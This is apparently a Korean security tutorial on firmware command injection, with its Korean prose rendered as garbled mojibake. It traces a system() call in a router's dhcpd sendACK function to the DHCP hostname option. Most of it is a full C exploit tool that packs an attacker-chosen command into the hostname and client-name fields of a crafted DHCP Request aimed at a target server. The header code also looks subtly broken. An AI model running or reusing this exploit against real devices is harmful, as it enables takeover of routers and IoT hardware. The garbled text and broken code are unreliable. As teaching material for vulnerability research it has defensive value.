Firmware Command Injection์ ์์๋ณด์!
Firmware Command Injection์ ์์๋ณด์! ๊ด๋ จ
๋ค์ด๊ฐ๋ฉฐ
์ค๋๋ IoT(Internet of Things, ์ฌ๋ฌผ์ธํฐ๋ท)๋ ์ค์ํ์์ ๋ง์ ํธ๋ฆฌํจ์ ์ ๊ณตํ๊ณ ์์ต๋๋ค. ์ฌ๋์ด ๋ฌผ๋ฆฌ์ ์ผ๋ก ์์ ์ ์๋ ๊ณณ์์ ์ฐ๋ฆฌ์ ๋๊ณผ ๊ท๋ฅผ ๋์ ํ๋๋ก ํ๋ก๊ทธ๋๋ฐ๋ ์ปดํจํฐ๊ฐ ๋ชจ๋ ๋ฐ์ดํฐ๋ฅผ ์์งํ๊ณ ํ์ฉํ์ฌ ์ฐ๋ฆฌ์๊ฒ ์ ๊ณตํด ์ค๋๋ค.
ํ์ง๋ง ์ด์ ๋ฐ๋๋๋ ๊ฒฝ์ฐ๋ ์์ต๋๋ค. ์ฐ๋ฆฌ์๊ฒ ํธ๋ฆฌํจ์ ์ฃผ๋ ๊ธฐ๊ธฐ๊ฐ ์ด๋ป๊ฒ ๋ฐ๋๋ก ์ฌ์ฉ๋ ์ ์๋์ง ๋ถ์ ๋ฐฉ๋ฒ์ ์์๋ณด๊ณ ์ด๋ฅผ ์ค์ตํด ๋ณด๋ ค๊ณ ํฉ๋๋ค.
๋ถ์ ํ๊ฒฝ ๋ฐ ์ฌ์ฉ ๋๊ตฌ
๋ถ์ ์ ์ฐจ
Firmware Command Injection์ ๋ค์๊ณผ ๊ฐ์ ์กฐ๊ฑด์ ๋ง์กฑํด์ผ ํฉ๋๋ค.
- ์์คํ ํจ์๋ฅผ ์ฌ์ฉํ๋๊ฐ?
- ์์คํ ํจ์์ ์ธ์๊ฐ ๋์ ์ผ๋ก ์์ฑ๋๋๊ฐ?
- ์์คํ ํจ์์ ์ธ์๊ฐ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ ์ํฅ์ ๋ฐ๋๊ฐ?
(์ฒซ ๋ฒ์งธ) ์์คํ ํจ์๋ฅผ ์ฌ์ฉํ๋๊ฐ?
Grep ๋ช ๋ น์ด๋ฅผ ํตํด system ๋ฌธ์์ด์ ๊ฒ์ํฉ๋๋ค. System ํจ์๋ฅผ ์ฌ์ฉ ์ค์ด๋ฉด ELF ํค๋์ ๋ฌธ์์ด๋ก ๊ธฐ๋ก๋ฉ๋๋ค. ๋ฐ๋ผ์ system ๋ฌธ์์ด ๊ฒ์์ ํตํด system ํจ์๋ฅผ ์ฌ์ฉ ์ค์ธ ๋ฐ์ด๋๋ฆฌ๋ฅผ ํ์ํ ์ ์์ต๋๋ค. ๊ฒ์๋ ๋ฐ์ด๋๋ฆฌ ์ค dhcpd ๋ฐ์ด๋๋ฆฌ๋ฅผ ๋ถ์ํ๋ ค๊ณ ํฉ๋๋ค.
- dhcpd ๋ฐ์ด๋๋ฆฌ๋ฅผ IDA๋ก ๋์ค์ด์ ๋ธ๋งํ ํ system ๋ฌธ์์ด์ ๊ฒ์ํฉ๋๋ค. sendACK ํจ์์์ Systemํจ์๋ฅผ ํธ์ถํ๊ณ ์๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค.
(๋ ๋ฒ์งธ) ์์คํ ํจ์์ ์ธ์๊ฐ ๋์ ์ผ๋ก ์์ฑ๋๋๊ฐ?
sendACK ํจ์์์ System ํจ์๋ฅผ ์ฌ์ฉํ๋ ๋ธ๋ก์ ํ์ธํ ์ ์์ต๋๋ค.
- ํด๋น ๋ธ๋ก์ ์ฝ๋์์
sprint
ํจ์์ ์ํด ๋์ ์ผ๋ก ์์ฑ๋๋ ์ธ์๊ฐ System ํจ์์ ์ ๋ฌ๋๋ ๊ฒ์ ํ์ธํ ์ ์์ต๋๋ค. sprint
ํจ์์ ๋์ ๋ฌธ์์ด๊ณผ ๋์ ์ ์๊ฐ ์ ๋ฌ๋๋ฉฐ, ๋์ ๋ฌธ์์ด์$S1
๋ ์ง์คํฐ์ ์ ์ฅ๋์ด ์์ผ๋ฏ๋ก ์์ ์ฝ๋์์ ์ฐ์ฐ ํ ์์ฑ๋ ๊ฐ์ด๋ผ๋ ๊ฒ์ ์ถ์ธกํ ์ ์์ต๋๋ค.
(์ธ ๋ฒ์งธ) ์์คํ ํจ์์ ์ธ์๊ฐ ์ฌ์ฉ์ ์ ๋ ฅ ๊ฐ์ ์ํฅ์ ๋ฐ๋๊ฐ?
์์ ๊ณผ์ ์์ sprintf
ํจ์์ ๋ฌธ์์ด ์ธ์๊ฐ ์์ ์ฝ๋์์ ์ฐ์ฐ ํ ์์ฑ๋ ๊ฐ์ด๋ผ๋ ๊ฒ์ ์ถ์ธกํ์์ต๋๋ค. ๊ฐ์ด ๋ ์ง์คํฐ์ ์กด์ฌํ๋ค๋ ๊ฒ์ ์ฐ์ฐ ๊ณผ์ ์ ๊ฑฐ์ณค๋ค๋ ๋ป์
๋๋ค. ํด๋น ์ธ์๋ฅผ ์ญ์ถ์ ํ์ฌ ์์ฑ๋๋ ๊ณผ์ ์ ๋ถ์ํ ๊ฒฐ๊ณผ sprintf
ํจ์์ ๋ฌธ์์ด ์ธ์๋ get_option
ํจ์์ ๋ฆฌํด ๊ฐ์ด๋ผ๋ ๊ฒ์ ํ์ธํ์์ต๋๋ค.
dhcpd
๋ ์คํ์์ค์ด๋ฏ๋กget_option
ํจ์์ ์์ค ์ฝ๋๋ฅผ ์ธํฐ๋ท์์ ์ฐพ์๋ณผ ์ ์์ต๋๋ค.get_option
ํจ์๋dhcp_message
๊ตฌ์กฐ์ฒด์ DHCP ์ต์ ์ ๋ณด๋ฅผ ๊ตฌํ๋ ํจ์์ ๋๋ค.- dhcpd URL: https://github.com/cobyism/edimax-br-6528n/blob/master/boot-source/bootcode_rtl8196c_98/boot/init/dhcpd.c
get_option
ํจ์์ ์ฒซ ๋ฒ์งธ ์ธ์๋dhcp_message
๊ตฌ์กฐ์ฒด์ ํฌ์ธํฐ์ด๊ณ , ๋ ๋ฒ์งธ ์ธ์๋ ์ต์ ์ฝ๋์ ๋๋ค. ํด๋น ๋ธ๋ก์์๋0x0C
๋ฅผ ์ ๋ฌํ๋ฉฐ,0x0c
๋ Client์ Hostname์ ์๋ฏธํฉ๋๋ค.- ์ฆ
get_option
ํจ์์ ๋ฆฌํด ๊ฐ์ Client์ Hostname์ ์ฃผ์์ ๋๋ค. ๊ฒฐ๊ตญsystem
ํจ์์ ์ธ์๋ Client์ Hostname์ด ๋์ ์ผ๋ก ์ฝ์ ๋ฉ๋๋ค.
- SendACK๋ผ๋ ํจ์ ์ด๋ฆ์ผ๋ก ๋ฏธ๋ฃจ์ด ๋ณด์ DHCP ACK๋ฅผ ๋ณด๋ด๋ ํจ์๋ก ์ถ์ธก๋ฉ๋๋ค.
- DHCP Request ํจํท์ Hostname์ ์กฐ์ํ๋ฉด command Injection ๊ณต๊ฒฉ์ด ๊ฐ๋ฅํ ๊ฒ์ด๋ผ ์ถ์ธก๋ฉ๋๋ค.
์ค์ต
DHCP Request ํจํท์ Hostname ์กฐ์์ ์ํด ๊ฐ๋จํ ํ๋ก๊ทธ๋จ์ ์ ์ํ์์ต๋๋ค. (Python์ scapy ๋ผ์ด๋ธ๋ฌ๋ฆฌ๋ฅผ ํตํด ์ง์ ๊ตฌํํด ๋ณด๋๊ฑธ ์ถ์ฒํฉ๋๋ค.)
main.c
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<winSock2.h>
#include<IPHlpApi.h>
#include "dhcp_req.h"
#pragma comment(lib, "iphlpapi.lib")
#pragma comment(lib, "ws2_32.lib")
void error_handling(char * message);
void set_boost_custom(struct boost_custom * boost_custom_o, int boost_custom_size);
void set_mac_address(struct boost_custom * boost_custom_o);
void set_ip_address(struct boost_custom * boost_custom_o);
void set_injection_code(struct boost_custom * boost_custom_o, char * injection_code, int injection_code_size);
int main(int argc, char ** argv)
{
WSADATA wsa_data;
SOCKET send_sock;
SOCKADDR_IN send_addr;
struct boost_custom boost_custom_o;
struct boost_custom * boost_custom_ptr = &boost_custom_o;
short dhcp_port = 67;
if (argc != 3)
{
printf("Usage : %s<DHCP Server IP address><Injection Code>", argv[0]);
exit(1);
}
if (WSAStartup(MAKEWORD(2, 2), &wsa_data) != 0)
error_handling("WSA startup error!");
send_sock = socket(PF_INET, SOCK_DGRAM, 0);
if (send_sock == INVALID_SOCKET)
error_handling("socket error!");
memset(&send_addr, 0, sizeof(send_addr));
send_addr.sin_family = AF_INET;
send_addr.sin_addr.s_addr = inet_addr(argv[1]);
send_addr.sin_port = htons(dhcp_port);
if (connect(send_sock, (SOCKADDR*)&send_addr, sizeof(send_addr)) == SOCKET_ERROR)
error_handling("connect error!");
set_boost_custom(boost_custom_ptr, sizeof(boost_custom_o));
set_mac_address(boost_custom_ptr);
set_ip_address(boost_custom_ptr);
set_injection_code(boost_custom_ptr, argv[2], strlen(argv[2]));
send(send_sock, (const char *)&boost_custom_o, sizeof(boost_custom_o), 0);
return 0;
}
void error_handling(char * message)
{
fputs(message, stderr);
fputc('\n', stderr);
exit(1);
}
void set_boost_custom(struct boost_custom * boost_custom_p, int boost_custom_size)
{
memset(boost_custom_p, 0, boost_custom_size);
boost_custom_p->Message_type = 1;
boost_custom_p->Hardware_type = 1;
boost_custom_p->Hardware_address_length = 6;
boost_custom_p->Hops = 0x00;
boost_custom_p->Transaction_ID = htonl(0x5a4f1782);
boost_custom_p->Seconds_elapsed = 0x0000;
boost_custom_p->Bootp_flags = 0x0000;
boost_custom_p->Client_IP_address = htonl(INADDR_ANY);
boost_custom_p->Your_client_IP_address = htonl(INADDR_ANY);
boost_custom_p->Next_server_IP_address = htonl(INADDR_ANY);
boost_custom_p->Relay_agent_IP_address = htonl(INADDR_ANY);
boost_custom_p->Magic_cookie = htonl(0x63825363);
boost_custom_p->Option_type32 = 0x35;
boost_custom_p->Option_length32 = 0x01;
boost_custom_p->DHCP_Request32 = 0x03;
boost_custom_p->Option_type61 = 0x3d;
boost_custom_p->Option_length61 = 0x07;
boost_custom_p->Hardware_type_Ethernet61 = 0x01;
boost_custom_p->option_type50 = 0x32;
boost_custom_p->option_length50 = 0x04;
boost_custom_p->option_type12 = 0x0c;
boost_custom_p->option_length12 = NAMESIZE;
boost_custom_p->option_type81 = 0x51;
boost_custom_p->option_length81 = 0x03 + NAMESIZE;
boost_custom_p->flags81 = 0x00;
boost_custom_p->a_rr_result81 = 0x00;
boost_custom_p->ptr_rr_result81 = 0x00;
boost_custom_p->option_type60 = 0x3c;
boost_custom_p->option_length60 = 0x08;
boost_custom_p->vendor_class_identifier_msft60[0] = 0x4d;
boost_custom_p->vendor_class_identifier_msft60[1] = 0x53;
boost_custom_p->vendor_class_identifier_msft60[2] = 0x46;
boost_custom_p->vendor_class_identifier_msft60[3] = 0x54;
boost_custom_p->vendor_class_identifier_msft60[4] = 0x20;
boost_custom_p->vendor_class_identifier_msft60[5] = 0x35;
boost_custom_p->vendor_class_identifier_msft60[6] = 0x2e;
boost_custom_p->vendor_class_identifier_msft60[7] = 0x30;
boost_custom_p->option255 = 0xff;
boost_custom_p->option_type55 = 0x37;
boost_custom_p->option_length55 = 0x0d;
boost_custom_p->parameter_request_list_item_1_subnet_mask = 0x01;
boost_custom_p->parameter_request_list_item_3_router = 0x03;
boost_custom_p->parameter_request_list_item_6_domain_name_server = 0x06;
boost_custom_p->parameter_request_list_item_15_domain_name = 0x0f;
boost_custom_p->parameter_request_list_item_31_perform_router_discover = 0x1f;
boost_custom_p->parameter_request_list_item_33_static_route = 0x21;
boost_custom_p->parameter_request_list_item_43_vendor_specific_information = 0x2b;
boost_custom_p->parameter_request_list_item_44_netbios_over_tcp_ip_name_server = 0x2c;
boost_custom_p->parameter_request_list_item_46_netbios_over_tcp_ip_node_type = 0x2e;
boost_custom_p->parameter_request_list_item_47_netbios_over_tcp_ip_scope = 0x2f;
boost_custom_p->parameter_request_list_item_121_classless_static_route = 0x79;
boost_custom_p->parameter_request_list_item_249_private_classless_static_route_microsoft = 0xf9;
boost_custom_p->parameter_request_list_item_252_private_proxy_autodiscovery = 0xfc;
}
void set_mac_address(struct boost_custom * boost_custom_o)
{
DWORD size = sizeof(PIP_ADAPTER_INFO);
PIP_ADAPTER_INFO Info;
ZeroMemory(&Info, size);
int result = GetAdaptersInfo(Info, &size);
if (result == ERROR_BUFFER_OVERFLOW)
{
Info = (PIP_ADAPTER_INFO)malloc(size);
GetAdaptersInfo(Info, &size);
}
do {
if (Info->GatewayList.IpAddress.String[0] == '0')
{
Info = Info->Next;
}
else
{
for (int i = 0; i< 6; i++)
{
boost_custom_o->Client_MAC_address[i] = Info->Address[i];
boost_custom_o->Client_MAC_address61[i] = Info->Address[i];
}
break;
}
} while (Info);
}
void set_ip_address(struct boost_custom * boost_custom_o)
{
int ip_addr;
char * ip_addr_temp = (char *)& ip_addr;
DWORD size = sizeof(PIP_ADAPTER_INFO);
PIP_ADAPTER_INFO Info;
ZeroMemory(&Info, size);
int result = GetAdaptersInfo(Info, &size);
if (result == ERROR_BUFFER_OVERFLOW)
{
Info = (PIP_ADAPTER_INFO)malloc(size);
GetAdaptersInfo(Info, &size);
}
do {
if (Info->GatewayList.IpAddress.String[0] == '0')
{
Info = Info->Next;
}
else
{
ip_addr = inet_addr(Info->IpAddressList.IpAddress.String);
for (int i = 0; i< 4; i++)
boost_custom_o->requested_ip_addres50[i] = ip_addr_temp[i];
break;
}
} while (Info);
}
void set_injection_code(struct boost_custom * boost_custom_o, char * injection_code, int injection_code_size)
{
memset(&boost_custom_o->host_name12, 0, NAMESIZE);
memset(&boost_custom_o->client_name81, 0, NAMESIZE);
for (int i = 0; i< injection_code_size; i++)
{
boost_custom_o->host_name12[i] = injection_code[i];
boost_custom_o->client_name81[i] = injection_code[i];
}
}
dhcp_req.h
NAMESIZE 12
struct boost_custom {
char Message_type;
char Hardware_type;
char Hardware_address_length;
char Hops;
int Transaction_ID;
short Seconds_elapsed;
short Bootp_flags;
int Client_IP_address;
int Your_client_IP_address;
int Next_server_IP_address;
int Relay_agent_IP_address;
char Client_MAC_address[6];
char Client_hardware_address_padding[10];
char Server_host_name_not_given[64];
char Boot_file_name_not_given[128];
int Magic_cookie;
struct Option32 {
char Option_type32;
char Option_length32;
char DHCP_Request32;
};
struct Option61 {
char Option_type61;
char Option_length61;
char Hardware_type_Ethernet61;
char Client_MAC_address61[6];
};
struct option50 {
char option_type50;
char option_length50;
char requested_ip_addres50[4];
};
struct option12 {
char option_type12;
char option_length12;
char host_name12[NAMESIZE];
};
struct option81 {
char option_type81;
char option_length81;
char flags81;
char a_rr_result81;
char ptr_rr_result81;
char client_name81[NAMESIZE];
};
struct option60 {
char option_type60;
char option_length60;
char vendor_class_identifier_msft60[8];
};
struct option55 {
char option_type55;
char option_length55;
char parameter_request_list_item_1_subnet_mask;
char parameter_request_list_item_3_router;
char parameter_request_list_item_6_domain_name_server;
char parameter_request_list_item_15_domain_name;
char parameter_request_list_item_31_perform_router_discover;
char parameter_request_list_item_33_static_route;
char parameter_request_list_item_43_vendor_specific_information;
char parameter_request_list_item_44_netbios_over_tcp_ip_name_server;
char parameter_request_list_item_46_netbios_over_tcp_ip_node_type;
char parameter_request_list_item_47_netbios_over_tcp_ip_scope;
char parameter_request_list_item_121_classless_static_route;
char parameter_request_list_item_249_private_classless_static_route_microsoft;
char parameter_request_list_item_252_private_proxy_autodiscovery;
};
char option255;
char padding_00;
};
์กฐ์ ํ๋ก๊ทธ๋จ์ ์ด์ฉํด DHCP request ํจํท์ Hostname์ ์์คํ ๋ช ๋ น์ด๋ก ๋ณ์กฐํ๋ฉด System ๋ช ๋ น์ด๋ฅผ ์ํ์ํฌ ์ ์์ต๋๋ค. ์ด์ ๊ฐ์ด command Injection์ด ๊ฒ์ฆ๋์์ต๋๋ค.
๊ธด ๊ธ์ ์ฝ์ด ์ฃผ์ ์ ๊ฐ์ฌํฉ๋๋ค.